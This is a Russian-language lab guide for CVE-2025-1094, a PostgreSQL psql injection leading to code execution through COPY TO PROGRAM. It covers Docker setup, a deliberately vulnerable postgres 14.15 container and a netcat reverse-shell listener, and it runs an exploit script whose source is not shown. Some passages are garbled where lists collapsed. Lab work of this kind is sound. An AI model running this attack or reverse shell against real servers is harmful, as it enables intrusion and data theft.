
Практическая лаборатория для эксплуатации CVE-2025-1094 — SQL-инъекции в PostgreSQL psql, приводящей к RCE через COPY TO PROGRAM, с настройкой Docker и reverse shell полезной нагрузкой.
⚠️ Дисклеймер
Данная лабораторная работа предназначена только для образовательных и исследовательских целей.
НЕ используйте информацию или методы, продемонстрированные здесь, на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Несанкционированное использование этих методов может нарушать законодательство и повлечь серьёзные последствия.
CVE-2025-1094 — это критическая уязвимость, затрагивающая интерактивный инструмент psql системы PostgreSQL, обнаруженная в версии 14.15 и более ранних.
Она позволяет злоумышленникам выполнять SQL-инъекции, которые при определённых условиях могут привести к удалённому выполнению кода (RCE).
Уязвимость возникает из-за некорректной обработки некорректного UTF-8 ввода в psql.
Из-за недостаточной валидации злоумышленники могут внедрять произвольные SQL-запросы или мета-команды, такие как ! (escape в оболочку), а также использовать для выполнения системных команд.
COPY ... TO PROGRAMCOPY TO PROGRAM: Злоумышленники могут выполнять произвольные команды оболочки, такие как:
/etc/passwd)psql с недоверенным вводом (например, BeyondTrust PRA, Remote Support), особенно уязвимо.Установите Docker:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Перезагрузитесь или выйдите из системы и войдите снова, чтобы применить разрешения группы Docker.
Установите Python и зависимости:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ Убедитесь в наличии сетевого соединения между машинами атакующего и жертвы.
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
После запуска контейнера проверьте, что всё работает, с помощью следующих команд:
1. Проверьте, что контейнер PostgreSQL запущен:
sudo docker ps
📌 Вы должны увидеть контейнер с именем vulnerable_postgres, прослушивающий порт 5432.
2. Получите доступ к контейнеру и проверьте базу данных:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
Внутри оболочки psql выполните:
SELECT * FROM users;
Ожидаемый вывод:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
Выйдите из psql:
\q
✅ Теперь ваш уязвимый экземпляр PostgreSQL запущен и готов к эксплуатации.
3. Включите контейнер обратно
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM для выполнения произвольных команд оболочки💡 Совет: Вы можете создать снимок этого уязвимого контейнера и использовать его позже без повторной настройки среды.